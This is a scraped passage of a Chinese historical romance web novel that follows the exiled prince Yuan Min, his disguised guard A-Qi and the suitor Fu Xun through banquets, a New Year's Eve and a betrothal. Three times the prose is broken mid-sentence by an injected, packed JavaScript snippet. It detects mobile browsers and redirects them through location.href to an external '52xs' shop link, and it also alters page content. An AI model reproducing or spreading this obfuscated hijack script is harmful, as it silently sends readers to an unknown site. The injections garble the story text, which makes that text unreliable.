楼船上临窗的雅间里,桌上摆了满满当当的甲鱼、毛蟹、河虾、漕虾、田螺、鲈鱼、鳝段,还有各色叫不出名字的河鲜,对面是个面团似的中年人,白白胖胖笑口常开,一身披金戴银,与元旻觥筹交错。 “眼看着天气冷了,梅老板生意如何?” 梅老板道:“这几月是淡了些,再过一个月就该过年了,那些年礼啊、洪棱和嘉州的柑橘啊、多不胜数,一直忙到上元节前后…冯公子…敬您一杯。” 元旻笑着饮下,又看向窗外道:“到了明年三四月份,东风正好,梅老板可要多操劳…” 梅老板连连祝酒,道:“到时定当效劳,船嘛,要多少有多少。” 阿七百无聊赖看着热情的梅老板,突然健谈的元旻,伸手从桌子中间夹起一个蒸好的螃蟹,刚预备拆蟹,身旁元旻转头瞟了她一眼,眼神凉飕飕的,吓得她忙丢掉螃蟹,转去夹别的菜。 酒足饭饱,梅老板已趴在了桌上,犹自口齿不清地说:“冯公子,来,干杯!” 元旻租了艘舢板,一边解缆绳一边问:“会划吗?” 阿七讪讪:“应该会吧。” 一刻钟后…… 元旻抱臂看着在水中打转的舢板,挑眉:“所以,你以前遇到水都是直接游过去的?” 阿七忙解释:“不是从水面游,是从水底潜过去。” 元旻看向与夜空融为一体的广阔江面,促狭地说:“那你今夜泅水回去吧。” 阿七大窘:“那您呢?” 元旻从她手中接过船桨,一脸自得:“我自然是划回去。” 阿七被他理直气壮的语气惊住,正想着措辞,忽见他一瞬不瞬盯着她窘态,笑得肩膀微抖、全身发颤。 . 记忆里,她从没见过元旻如此开怀。 元旻从小就很安静寡言,从不玩笑打闹、更没有闯过什么祸。他三岁就启蒙了,之后每日寅中便起,亥末方歇,读书、习武、辅政,安排得满满当当、没有片刻喘息。 但他适应得很好,今日事今日毕,风雨无阻持之以恒,从不拖沓迟滞。 他的作息十分规律,衣食住行严格遵循宫规,从不曾失过礼数。他过去十九年的人生,像是将同样的一天,精密地、滴水不漏地重复了七千来次。 有一年,他在龙津围场伴驾时出了点状况,拖了几天的课业完不成,他熬了几个通宵,熬得眼睛一片血红、很快又发起了高烧。 人是清醒了,御医说他伤到了眼睛,最好一个月内不要视物。 御医走后,元旻屏退所有宫人,躺在床上默默流泪,那是他从小到大第一次在她面前流泪。 他说:“我要是废了,母后怎么办?” 冯姮十分不受先王待见,听春羽姑姑说,没有元旻的时候,景和宫冷得像冰窖。有了元旻元晴这对受大祭司祝福的兄妹,先王来景和宫的次数多了些,也时常赐些好东西,却只是为着孩子。 但冯姮依然躬行简素,从不用一丝华贵之物,有一天元旻听她对春羽说:“阿旻的降世太过招摇,登高易跌重,眼下这么多人盯着阿旻,若以后表现得天份平平,咱们只怕连前几年的清静日子都没了。” 于是,在元旻不能用眼睛的那些日子,阿七拿起他正在研读的书,日夜不停地读给他听。 此时,阿七默默看着他开心的样子,感慨万分:“如能一直漂泊江上,也算潇洒自在。” 元旻叹了口气:“最多再逗留一天,新袭爵的渝安郡公苻钊正四处找羽民复仇,若是知道我们来了这,肯定倾巢出动。” . “此处只有你我,想说什么说就是。”二人在江上一直漂到只剩零星几盏灯火,元旻忽然开口。 阿七受了鼓励,想了想问:“景樊是……” 元旻愣住了,半晌才缓缓道:“征和四年,荣武王欲举兵犯境,中书令侯成弘犯颜直谏,被当庭杖毙,父母妻小举家流放戎陵矿场。” “父王感佩侯成弘品行高洁,命人将其子侯谦救出,改姓换名归入官塾教养,当然……也是想养出另一个伍子胥。” 阿七想起那天景樊疾言厉色,低声道:“但是,景樊不愿。” 元旻点头:“侯谦品行酷肖其父,却感佩父王大恩,承诺见玄色凰羽,便替持有者做一件事,只要不违道义、不伤荣国。” 阿七又问:“那么先王怎么选定的兰夫人?” 元旻:“征和六年,父王已灭南滬,开始在荣国布局,渝安郡乃水运枢纽,自然要布上一二,隐蝠卫统领许一舟观察数月,选中了颇有才干却身陷绝境的兰夫人。” “那个船商梅老板?” “梅老板为人仗义,但小富即安,我在五年前南巡的时候,顺手帮他解救过一批被海防官故意扣押的海鲜,后面又替他弄过两次盐引。当然,他胆小,一直以为我只是市泊司的一个小衙内,家里有些靠山而已。” “那么黎元县丞?” 元旻:“那人好财,曾因贪墨军饷被我在永兴王面前保下,英平郡的东西若要运到渝安,无论走哪条道都避不开黎元县。” 顿了顿,他又说:“不过此人不可深交,只需提前数天,以重财贿之。” 阿七思索片刻又问:“那么,殿下是如何让永兴王信任你的?” 元旻轻描淡写道:“苻治虽趋附元琤,内心却很是不甘,我做他的幕僚,帮他擢拔官员、富国强兵,他自然相信我擅长此道。” 阿七惊讶:“是真的献策?” 元旻轻嗤:“自是真的,不过献的是中策,是循序渐进的中庸之道,等到他们有大的起色,我可能都老死入土了。” 阿七愕然道:“上策是?” “不必说……反正他便是知道了上策,也断不会做,毕竟那是赌国运”,一向温文如玉的元旻,笑容透出几分寒意,“便是他们想做,待我归国,也容不得他们做!” 阿七一头雾水,只能转了话头:“先王血诏为何交由师父,而非更忠勇的大王子?” 元旻款款道:“此因有三。其一,大哥由母后养育,既然已灵前表态,身边自然耳目众多,九叔之前与我并不相熟,同崔夫人那边交情更好,元琤对他的防范没那么严格。” 阿七想起三年前宫变,崔氏是罕见的中立党派。 “其二,大哥在军中身居高位,不能擅离北疆,领血诏之人却需四处游说,在这点上,九叔有莫大优势。” 喜爱游冶山水之人,对各地风貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981220|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻车熟路,出去四处闲逛也不易引起怀疑。 “其三,母后当时可选择的人并不多,只是刚好九叔去了。” 元旻心说,其实还有其四,人心难测却不能明言…… 阿七又想到武煊,问:“英平郡和戎陵山里面到底有什么?” 元旻只微笑道:“过年武煊回来,你自问他去。” 阿七诧异:“他会说?” 元旻挑眉:“他不是什么破事都能跟你叨几句吗?” 阿七大窘,忽然心念一动:“卑职还有一事不知当……” “说吧。”元旻脸上罕见露出笑意,欣然道。 阿七思索片刻,斟酌着问:“咱们之前三年进展极慢,最近忽然感觉所有人都忙碌开了,近期是否得了什么契机?” 话一出口,她感觉气氛陡然一冷,一向喜怒不形于色的元旻,眼中竟透出阴狠冷厉,笑容凝固在脸上。然而,不过须臾,他再度舒展眉眼笑道。 “无甚,咱们布局已久、厚积薄发,眼下不过是水到渠成,到收网之时罢了。” . 逝者如斯夫,不舍昼夜,转瞬两月过去,已至年节。 武煊从英平郡归来,与阿七又是一阵把酒言欢,自不消细说。 除夕夜,宫中未传唤,元旻难得地与他们一起跨年。春羽早已张罗好,扫尘除秽、贴窗花、挂彩灯,大门两侧也嵌缀上画着神荼郁垒的桃木。 晚膳之后,前堂厅中支起巨大的火笼,红萝炭烧得旺旺的,阖府仆婢都与三人欢聚一堂,周围小几摆上各色糕点果子,闲聊、祝酒、分礼。 元旻御下宽厚,以往年节所收贺礼,都会匀出一部分值钱却不僭越的小物件作注,守岁时行酒令优胜者便赐下,图个彩头。今年因着苻治赐婚,送到质子府的礼比往年翻了几番。 都没了拘束,一边有女官文鸢拆开年礼,唱名后展示一圈,再呈给元旻,待他点头便递给赢了酒令的人;一边是众人簇拥着坐在主位的元旻,说笑调侃祝酒,热闹非凡,话题大都绕着他与高舒月的婚事。 武煊也喝了六七分醉,举杯道:“四哥若婚后烦闷,表弟随时等着喝酒?” 春羽忙打圆场:“高家娘子才貌俱佳,殿下婚后定是琴瑟和鸣,哪轮得上跟你个光棍喝酒?” 众人哄堂大笑,又七嘴八舌说那高舒月如何貌美娴雅,祝元旻婚后恩爱和美云云。 阿七避开炭气,坐得离众人远了些,一声不吭喝着酒,听到厅内越来越热闹的笑声,有些气闷,独自拎起一坛酒走了出去。 冷风吹来,脚步已有些踉跄,春羽从后面追来,笑着说:“公子若是觉得嘈杂,后院梅花还可一看,只是良宵虽好,公子再高兴也勿贪杯。” 手里的屠苏酒被抽走,塞上一瓶更小的、已烫热的青梅酒。 厅内分礼仍在继续,一迭一迭欢声笑语,文鸢仍在念: “中书令府,錾葡萄鸟纹银杯一对,翠墨。” “嘉州县令府,犀角串珠一双,红砚。” “五城兵马司,咦?”文鸢忽然讶异道,“府中并无女眷,这样的贵重物件,怎么混进来了?” 元旻接过一看,笑容瞬间消失,死死盯着锦盒,眼神凛若冰霜。 那是一支极其精巧的发簪,用整块彩玉雕成,触手润泽生温,一见便知是有价无市的稀罕宝物。 碧色簪体雕成茎杆绿叶,尾端雕成玲珑剔透的芙蕖,做工精巧、莫说那层层叠叠的浅粉花瓣,就连嫩黄花蕊都纤毫毕现。 那簇芙蕖,不多不少,正好七朵。 11. 相见欢 质子府后院是一条窄街,以往有不少菜摊、肉摊、水果摊,此时关门闭户,整条街寂静无声,只有几树腊梅与红梅凌寒独放,郁香醉人。 阿七提着酒跃上一株红梅,头有些昏沉、于是轻轻闭眼,仍有一搭没一搭就着冷风饮酒。 隐约听到下方有脚步声,来人站在树下,一言不发,阿七嗅着满树馥郁,忽然想起兴庆宫的那株海棠。 “那年我才五岁,调皮得紧,爬到树上去摘花,然后摔了下去”,阿七对着夜空吃吃笑道,“那时你跑到树下,一把就接住了我,我当时还想,你力气怎么那样大?” “后来才知道,那天你被我撞折了两条胳膊,忍着痛还去娘娘宫里替我请罪。” 阿七缓缓将手伸进袖中,取出一方沾血的丝帕:“还有一年,先王不知为何要杀我,你一把抓住剑刃、被割得满手是血还在替我求情。” “那些年,你总说除了我不知还能信谁,说咱们相依为命,我愿意一辈子追随你,可我也是女子啊。” “你要是不对我那么好,就好了。” “算了、算了……” 话越说越多,似乎说了什么不妥的,但是头晕得不愿细想,只想一股脑说了痛快。 树下的人仍一言不发。 冷风一吹,阿七清醒了点,转头看去,却见树下站着一名少年,身穿胭脂红的大氅,白绒绒的风帽边衬得他小脸越发精致,正仰起头,清澈的双眸目不转睛注视着树上的她,似乎痴了。 她忙翻身跃下,站到那少年面前,发现他身量高而单薄,神态比自己还稚嫩些。又觉得这张脸似曾相识,尤其是那双春水般的桃花眼,说不出的亲切熟悉,于是含笑逗他:“大过年的,小兄弟怎么还不回家?” 红衣少年眼型很漂亮,瞳孔清澈而明亮、像璀璨的星辰,上唇生着好看的唇珠,嘴唇像优美的桃花。他抬眸一笑,腊月的寒天似乎冰消雪融,就连穿过巷道的风也变得温暖而轻柔。 他温文有礼地躬身长揖,柔声道:“母亲和哥哥在老家,在下在灵昌还有公差回不去,幸今夜不当值,出来闲逛,不想又遇姐……公子。” “又”字,令阿七混沌的脑子清明了片刻,回想了一阵子却仍想不起他是谁。不过长夜漫漫,这少年甚是有趣,也不反感,于是有些好笑地看着他。 少年温声道:“上次栎东白水惊鸿一瞥,年少鲁莽,害公子落水,诚恳致歉,望公子宽恕。” 阿七不甚清醒的脑子怎么想,都感觉“惊鸿一瞥”不是这样用的,于是指向自己:“小兄弟怕是搞错了,为兄是男子。” 少年定定注视着她,唇角仍是上扬的,眼神却极坚定,一字一字道:“卿若是女子,我愿三书六礼;卿若是男子,承蒙不弃,我亦愿断袖分桃。” 阿七哑然失笑:“才多大的孩子,就如此多情?”忽想起自己也并不大,却还是在前两年生出了妄想,不由黯然。 “在下并非多情,弱水三千只愿取一瓢饮”,少年的眼神温柔而缱绻,无端令她觉得楚楚可怜又深情款款,他轻声道,“信与不信全在姐姐,今夜见姐姐有些烦闷,在下晓得一个好去处,定能使姐姐开怀。” 阿七有些站不稳,摆了摆手想往里走,忽有些茫然。 是回那个满堂祝他新婚的前厅?还是回那个与他毗陵而居的朝晖堂东院? 转头,那少年仍眉眼带笑站在原地,静静注视着她,见她回头,忙伸手招呼候停在巷口的马车过来,然后亲自为她拉开车帘。 两侧车窗各支起不大不小的缝,车内放了个铜制的小火炉,烧着无烟的银丝炭,红彤彤一片,坐进去温暖如春却不觉得气闷。 炉上的铁丝网搁着茶壶、栗子、柿子、桂圆,炉子旁边是个小茶几,摆放着几碟玉露团、马蹄糕、栗子酥、茶酥。 阿七下意识要去斟茶,少年却已拿起干净的茶杯,又取出三个陶罐问她:“冬季宜喝红茶,我这里有白瑞香、祁门香、九曲红梅,姐姐更喜欢哪种?” “我选?”阿七有些讶异,干笑两声,“我都可以。” 幽兰和白桂的香气从茶汤弥散出来,阿七小口浅酌着,一股甜丝丝暖洋洋顺喉咙滑下,五脏六腑都清爽舒畅了。她感激地看向对面,却发现少年正含笑注视着她。 “请教阁下高姓大名?” “在下苻洵,姐姐可以叫我‘阿洵’。” 马车在空街渐行渐远,墙内的梅树上站着一个人,他手执花剪,眼睛看向别处,剪花枝的动作僵在半空。 树下武煊带头起哄:“四哥,就要那枝最好的,大家都听好了,今晚酒令最优胜者,赐殿下亲折红梅一枝。” 远处,烟花尖啸着升空,散作千亿星子,璨璨落下。紧接着,城中各处,无数烟花络绎不绝升起,漫天火树银花散入春风。 与漫天烟花呼应,满城爆竹齐齐轰鸣,已到子时。 灵昌城新的一年,来了。 . 涉江采芙蓉,兰泽多芳草。采之欲遗谁?所思在远道。 精致的锦盒上,蘸金粉绘了一茎荷花,题诗四句。打开盒子,那簇美丽的芙蕖花熠熠灼眼。 元旻拈起芙蕖簪放在书案上,脸色阴沉,拿起一方镇纸狠狠砸下。 镇纸停在半空。 “罢了,我如今自身难保,凭什么去拘束她?”元旻怅然苦笑,将芙蕖簪放回锦盒。 阿七在外逡巡到寅时三刻才回,心中烦闷纾解不少,在靠近朝晖堂时心情陡然一沉。她蹑手蹑脚走进前堂,瞥见西院和主院一片漆黑,暗自庆幸,放慢步调往东院走去。 昏暗的东院里,静坐了不知多久的元旻忽然站起来。 阿七吓了一跳,元旻将手中锦盒递给去,轻声道:“给你的。” 阿七打开盒子,看到那枝精美绝伦的芙蕖簪,有片刻错愕。回过神后,既觉得郁气更重了、又莫名欢喜。忍不住拿起那枝芙蕖,借廊下灯笼微光细细端详起来。 款式、材质、做工都别具匠心,美得令人移不开眼。 忍不住拔下头上的素银簪,将那枝芙蕖簪别进头冠,尺寸大小居然正好,于是借酒劲转着圈:“真好看,殿下送我的?” 元旻唇角弯了弯:“喜欢?” 她用力点了点头:“喜欢,卑职一定天天戴着。” “随你”,元旻转过身,头也不回走向主院,“不早了,歇息吧。” . 上元佳节,苻治召苻氏宗亲、朝中爱臣设上元宫宴,元旻及武煊也在受邀之列,此次宴会并未男女分席,高相亦带次女高舒月赴宴。 席间,高舒月弹奏琵琶大曲《春江花月夜》,赢得满堂喝彩。元旻一直不动声色、挥毫泼墨,竟在宴会结束时绘成一幅琵琶美人图。二人天造地设,一时传为美谈。 正月十六,阿七晨练完毕,刚进前堂,武煊就迎过来对她上下打量:“我还是感觉阿七高了些。” 元旻坐在桌前,目光也在她全身逡巡,似乎在思索什么,看得她一阵发毛。 认真观察许久,元旻道:“有高屐,喜服的裙边甚长,不足为虑,不过还有一处地方不怎么像。” 武煊尴尬:“你说的那个,男子是没法跟女子像的。” 元旻诧异道:“你在想什么…我是指阿七比二娘子瘦许多,不知到时可否用什么垫一垫?” 武煊想了想又道:“最不像的还是仪态,阿七步态十分利索潇洒,跟那种温温吞吞的闺秀完全不同。” 元旻认同:“还好有几个月时间,仪态可慢慢培养,春羽精于此道。” 阿七忍无可忍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元旻不再作答,转向阿七道:“你多次往返戎陵群山,对地势颇熟,此次北上另有两要事。” “其一,带上两个人,带上山脉地形图、绘一幅详图,再标记至少三条行军路线,带去的两人需熟记路线;” “其二,当年上阳夜袭,三千骑兵从何而来,你也去查查有何端倪。” 阿七征询道:“天璇天玑姐妹聪记强识,可随我前去。” 元旻抬目微笑,颔首应允。 正在此时,外门通传:“五城兵马司大统领、建业侯苻洵求见。” 几乎是一瞬间,武煊和阿七感到一阵寒意。 二人发现,方才还在微笑的元旻,依然微笑着。只是那笑凝固了,假面似的长在脸上,而那双永远平和的丹凤眼,此时蕴满阴沉。 武煊试探着问:“四哥,我去找个麻袋揍他一顿罢?” 元旻凝固在脸上的笑舒展了,眉眼也恢复如常:“不得无礼,你二人先回去准备,明早启程。” 二人走出去时,一身靛青大氅的苻洵正往里走。甫一照面,阿七总觉得眼前少年十分眼熟,一些模糊破碎的画面从脑中飞速闪过,她不由耳根发热、飞快避开他含笑凝睇的注目礼。 身旁武煊小声嘀咕道:“终于不穿红了。” 说归说,二人还是齐齐施礼:“建业侯万安。” 苻洵笑得温煦而明亮,躬身回礼:“两位公子万安。” 忽抬眼看向阿七头顶,笑道:“这芙蕖簪很衬公子。” 说完这句便疾步往里走,遥遥对元旻躬身长揖:“年节繁忙,未得闲暇拜访殿下,望殿下恕罪。” 看着苻洵走出老远,阿七才疑惑地问武煊:“他就是建业侯?为何殿下和你听到他都那副表情?” 武煊不想探究她为何记性差了许多,艰难思考半晌,言简意赅:“去年八月,他在英平郡一见面就跟殿下打了一架。” 阿七好奇地问:“谁赢了?” 武煊轻咳两声,看向阿七头顶:“你这簪子倒是别致,又精美又英气、衬你,哪儿买的?” 阿七心花怒放,抬眸笑道:“秘密。” 12. 贪嗔痴 前厅之中,元旻与苻洵微笑着对视良久。 元旻开口:“恭喜建业侯,短短数月,已从北城兵马司指挥使、荣升五城兵马司大统领。” 苻洵笑道:“恭贺殿下又得助力,在下前来道贺。” 元旻诧异地问:“‘又’字从何说起?” 苻洵忙说:“调笑之言罢了,殿下切莫挂心。” 于是元旻也跟着轻笑,二人同时笑起来,然后便是漫长的沉默。 苻洵又开口道:“实不相瞒,此次前来,一为道贺,二为问问殿下,国仇家恨可还记得?” 元旻疑惑地问:“在下实是不知,有何国仇,有何家仇,望侯爷指点一二。” 苻洵觑着元旻神色,语调不疾不徐:“大翊南篱以南,有蒙舍国,国民久居深山,素有千寨万垌之称,有蛮、黎两族,擅巫蛊奇毒。” “有一密法,以情蛊为引,炼制奇毒名为‘七情’,银针也好、试毒也罢均无法探查,中毒之人至死不知,其发作情状与暴病无异。” 元旻嗤笑:“若真有如此奇毒,如何发作,又如何辨别是毒是病?” 苻洵道:“中此毒者,若心如止水,无论多久都看不出异常。然而,人有七情六欲,黄帝内经有述,喜伤心、怒伤肝、思伤脾、忧伤肺、恐伤肾。” “此毒便是在每次情绪牵动时,将伤害成千上万倍放大,中毒者若经历大哀大怒之事,不出一年便肺腑破碎、暴病而亡。” “至于辨别…中毒者亡故之后三月,尸骨渐化桃粉色,坟茔之上往往生出一株九叶妖草,草叶如桃心,尖端一点玛瑙红。” 元旻静静听着,沉思良久,笑道:“多谢侯爷提醒,不过,子不语怪力乱神。” 苻洵并不计较,诚恳道:“这般奇毒,在下手头刚好有一瓶,今日带来赠与殿下。若再不信,蒙舍国千寨万垌随君考证。” 语罢,将一个小瓷瓶放到桌上,起身告辞。 元旻注视着他背影,带一丝玩味的笑:“侯爷这般替我等劳心,到底图个什么?” 苻洵身形一滞,唇角浮起一缕柔情:“为殿下活命之恩,也为些陈年旧事,至于所图——其一为两国再无战火,其二为兄长再无悬顶之剑,其三为成全自己,至于那人——在下不愿直述其名、恐‘交易’二字侮辱佳人。” 他忽然转过身,满眼期冀:“我不说,殿下当真毫无察觉?” 元旻面不改色、笑容淡淡的:“当真不知。” 苻洵笑了笑:“三哥常说殿下人品高贵,在下深信不疑。” 然后,回过身,径直向外走去。 . 从官道策马往北约七日,一路人烟稀少,十室九空。正值青黄不接的春荒,因长年征兵,已看不见青壮、只有老弱妇孺化作饿殍伏倒路边、偶见一二行人也菜色满面、衣衫褴褛。 除开灵昌周围、南方临江几座富庶的郡县,连年征战还是使这片土地满目疮痍。 等到了英平郡,却眼前一亮。只见城头守军铁甲厚实齐全,武器锋芒铮亮,进出城门的平民大都体魄康健。 乡间阡陌交通、鸡犬相闻,一望无际是青青麦苗,贫瘠的边角地也种着些番薯、萝卜、包菜等,山上黄沙地亦有翻整的痕迹。村中老少相携,衣衫齐整,安居乐业。 武煊喟叹:“苻沣还真是厉害,上马能战下马能治,不知怎么有那种弟弟。” 阿七心不在焉摇摇头,信口说:“我倒觉着弟弟也颇有才干,只是如果胞兄弟都太出息,徒惹永兴王猜忌。” 武煊讶然:“……你到底站哪头?” 阿七如梦初醒,笑道:“瞎说的。” 一行人调转马头,一路扬鞭西行,尽是光秃秃的树木、风雪肆掠、地势逐渐抬升,显出崇山峻岭,武煊抬鞭指向前方道:“那就是金鸡岭。” 阿七觉得这个走向有些奇怪:“你的兵呢?” 武煊指向南方笑道:“咱们往回去的方向,翻过戎陵山脉就是了。” 阿七、天玑天璇:“……” 武煊觑着阿七神色,巴巴地请求道:“此处练兵不比以前在翊国,惊动任何一方大事不妙,所以剿匪之事,还请三位帮忙一二。” “阿七,兄弟平时待你如何?帮还是不帮,一个字!” . 同一时间,灵昌也罕见地下起了大雪,这是新年后的第一场倒春寒。 元旻孤身一人,走在积满白雪、人烟稀少的街道,脚步踉跄,身后雪地上拖出长长的一条血痕。 最终,他停在一座碧瓦朱檐的府邸前,门上牌匾上写着雄浑有力的两个字——高宅。 站了片刻,撩衣下拜,三跪九叩,朗声高呼:“小婿元旻,求见岳父大人!” 如是,喊了数声,朱红的大门才慢慢打开,门房仆人匆匆赶来,将他扶进门内。 高伯周此时正在书房,见仆妇扶着血淋淋的元旻进来,大惊失色:“发生了何事?” 元旻掀开大氅,腰腹之上有七八道血痕,皮肉外翻、伤口大小形状不尽相同,显然是不同武器所为。 高伯周是文官出身,大半辈子都没见过这样多的伤口,吓得连连后退,忙命仆妇去取伤药和洁净的棉布。 却见元旻踉跄跪下,痛声悲呼:“岳父大人,小婿死不足惜,恐高氏满门大祸临头。” 当天清晨,元旻进宫请安,苻治和高后多有赏赐,其中有一对凤血玉镯甚美。出北宸宫,到西安门后,元旻吩咐随从先行回去,自己独身去高宅送镯子。 惊变陡生,刚踏出宫门,墙脚突然冲出七八个男子,高呼“杀光羽民!”,一人一刀、砍伤他之后扬长而去。 而当时,禁卫军巍然不动,漠然注视着他被刺杀倒地、刺客离去,再漠然注视着他踉跄走远。 高伯周悚然:“禁宫门口,已如此明目张胆,禁卫军何不阻拦?” 元旻抬头,双目冷光如炬:“当下禁卫军统领,姓杨。” 已故杨氏王后的父亲。 故去的杨氏王后,是那穷兵黩武的先王指婚给苻治的,杨氏阖族均是坚定的主战派。 就在苻治与大翊交好的第三年,这位承载着先王意志的王后,“恰逢其时”病故了。 杨王后尸骨未寒,苻治又马不停蹄娶了主和派之首高伯周长女为后。 理清这其中的干系后,高伯周惊出一身冷汗。 宫门刺杀案查了许久,那几名刺客就如水滴融入大海一般毫无痕迹,最终不了了之。 但那以后,开始有人手持白刃,光天化日之下高呼“杀尽羽民”,当街杀人,主和派不少官吏均遇刺,幸亏防范森严、未有刺客得手。 元璟就是在这人人自危的惶恐中,携三书、押聘礼走进灵昌质子府。见到那靠在榻上,安静翻阅书籍的少年,他痛心责问:“值得吗?” 元旻抬头,眼神不惊也不惧:“穷途末路,背水一战,而已。” 元璟眼神复杂看了他许久,幽幽道:“吉日已卜好,五月初十,婚仪地点在宫墙里面,紧挨着北宸宫东侧的丞相府。” 元旻微笑颔首:“有劳叔父。” 元璟逼视着他:“把阿七记到我名下的事,你再好生考虑一下。” 元旻笑容未变,温声道:“叔父操劳辛苦,但此事……还请叔父换个要求。” “为君王最好克制贪嗔痴”,元璟唇角颤抖,压低了声音,“阿旻,你是大翊未来的王,你身后永不会缺少忠心耿耿的追随者,我却只有阿七一个徒儿。” “我克制了整整十几年”,元旻眼尾泛红,苦笑叹息,“九叔啊……我身后人再多,却也只有一个阿七。” 元璟直勾勾盯了他许久,双手逐渐紧握成拳,一言不发拂袖而去。一直走到朝晖堂东院坐下,凝视着两院之间那道薄薄围墙,冷声一字字道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981222|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这世间的好男儿,不止你元旻一个。” . 三月底的灵昌,簇簇木绣球、串串木香花,处处锦绣满城春。 “师父,咱们要出门骑马不是更快吗?”藏青色顶盖的轺车行驶在灵昌子午大街,阿七坐在车座上,臀部像长了刺一般扭来扭去,哪儿都不自在。 元璟惆怅地看着街上攒动的人头:“从昇阳到灵昌,山高路遥,颠簸得骨头都散了,坐会儿车消受消受,有什么不行?” 又上下打量着她:“你不想陪为师春游?” “哪儿能啊?”阿七忙不迭赔笑脸,“就是最近四殿下那儿事情怪多的,咱们一出来好几天,别误了正事。” “是谁说过的,弟子事师,敬同于父,你就这么对你爹的?”元璟挑了挑眉,不悦地说,“忙什么忙,驴都没你那么好使唤,大好春光疲于奔命,岂不浪费?” 阿七叹了口气,什么也没说,因为对于元璟这样富贵闲人,说也没用。 也罢,刚睡了两个月帐篷和树枝,抓着晚春的尾巴消遣几日,踏踏实实睡几个好觉,权当疗养。 微风不燥,阳光正好,灵昌城南郊是大片农田和草地,踏青的人群络绎不绝,身穿绫罗的贵妇戴着轻纱帷帽款款漫步,稚子扯着风筝在野地里奔跑,年轻男女隔着帷帽轻纱并肩徐行。 一切都那么安详、惬意。 阿七遥遥瞥见树荫下有一张躺椅,见四周无人在意,忙飞快抢着躺了上去,闭眼养神。呼吸着清爽的草木香气,数月的疲惫消减不少,就连旧伤都不那么疼了,逐渐昏昏欲睡。 正午将近,太阳逐渐明亮炙热起来,她额头沁出细细汗珠、还有几只飞蛾绕着她打转,但她懒得睁眼。 恍惚间,有人走到她身旁,那人脚步声又轻又稳,是个练家子、但是没有恶意,所以她依然闭目养神。一阵阵清凉的风从头至脚吹拂而过,平稳而有耐心。旋即,照在眼皮上的阳光被遮住了。 她被照顾得十分适意。 凉风送来似曾相识的香气,清润、绵长、醇厚的甘芳木香,温和却不阴柔,馥郁却不甜腻,十分好闻。 不是元璟。 她再也无法安心消受,缓缓睁开双眼,映入视野的那张脸有些眼熟。 眸如朗星、唇如花瓣,干净而灵动的一张脸,头发梳成高马尾、用一枚银冠束好,额角垂下两绺飘逸的乌发,一袭银红色箭袖直裰,端的是少年潇洒、朝气蓬勃。 正是有过数面之缘的苻洵。 他正半跪在躺椅前,左手举着一柄黑面油纸伞,替她遮挡头顶阳光,右手执一柄圆形纨扇,不疾不徐地替她扇着风。 见她睁眼,苻洵扬眸一笑,柔声说:“在下动静太大,惊扰了公子歇息,实在抱歉。” 视线交错的瞬间,阿七莫名心跳一突、双颊灼热,忙翻身从躺椅下来,躬身长揖施礼:“在下不知建业侯驾临,有失礼数,还请宽恕。” “我来这儿,是什么了不得的大事吗?”苻洵有些疑惑,温声反问,“拜来拜去,全是些生份的虚礼,公子何必在意。” 阿七轻声坚持:“礼不可废。” 苻洵舒展眉眼、漾起笑意,也躬身对她一揖:“这样也好。” 又看了看躺椅:“在下方才惊扰了公子歇息,时间还早,不如……”扬了扬下颌,示意她继续休息。 阿七哪里还躺得下,匆匆道了个谢便去寻元璟。找了好几圈不见人,突然听到连连叫好喝彩之声,循声跑过去,只见距这一里地外有个简陋的茶肆,院中的梧桐树亭亭如盖,树下围了一大圈人。 宫棋布局不依经,黑白分明子数停。元璟和一名白胡子老者,正隔着粗糙的四方矮桌对坐下棋,桌上放着的两碗茶已见底,但两位弈者兴致正酣、分毫未觉。 阿七忙挤进人群,端起两个茶碗往茶肆里走,却见苻洵提着水壶从门口走出来,壶嘴正喷着白腾腾的水汽。 13. 游韶光 阿七和苻洵骑着马,并肩驰骋在一望无垠的平原上,路边开着各色野花,点缀得绿茵茵的田野像厚厚的巨幅碎花毯。 苻洵侧脸的轮廓精致而流畅,漂亮得张扬,银红披风、乌黑发丝翻飞在风里,衬在蓝天绿地的背景上,美得像一幅描线精细、色彩明丽的工笔画。 阿七一怔,生出似曾相识的错觉。 一个时辰前,过足棋瘾的元璟心血来潮,又想吃鲜荔枝。茶肆老板说,灵昌城东舞阳山有一片荔枝林,正是就地采买鲜果的好时节。 让她去摘?没问题!事师之犹事父嘛,可是……可是她没去过舞阳山啊,那么大片果山,叫她上哪儿去找荔枝林? 站在一旁的苻洵赶紧说:“在下在灵昌也待了些时日,对周围景致颇熟,愿为公子前导。” 阿七抬眸瞟了一瞬眉眼带笑的苻洵,双颊莫名发热,连连推拒:“不敢劳烦侯爷,在下还是自己去上山问吧。” “反正是踏青,舞阳山景致更好”,元璟一直坐在桌前慢悠悠喝茶,目光却透过茶碗边缘觑着阿七神色,淡淡地说,“人家都不嫌跑得累,你倒操心上了。” 顿了顿,促狭一笑:“还是说,你觉得此人面目可憎,不愿与之同行?” 阿七感觉气氛有些难以言喻的奇怪,赶紧摇头否认,又对着苻洵躬身一揖。接过缰绳和马鞭时,不慎触到他的指尖,明明是温凉的,她却感觉正在被烧红的烙铁灼烫。 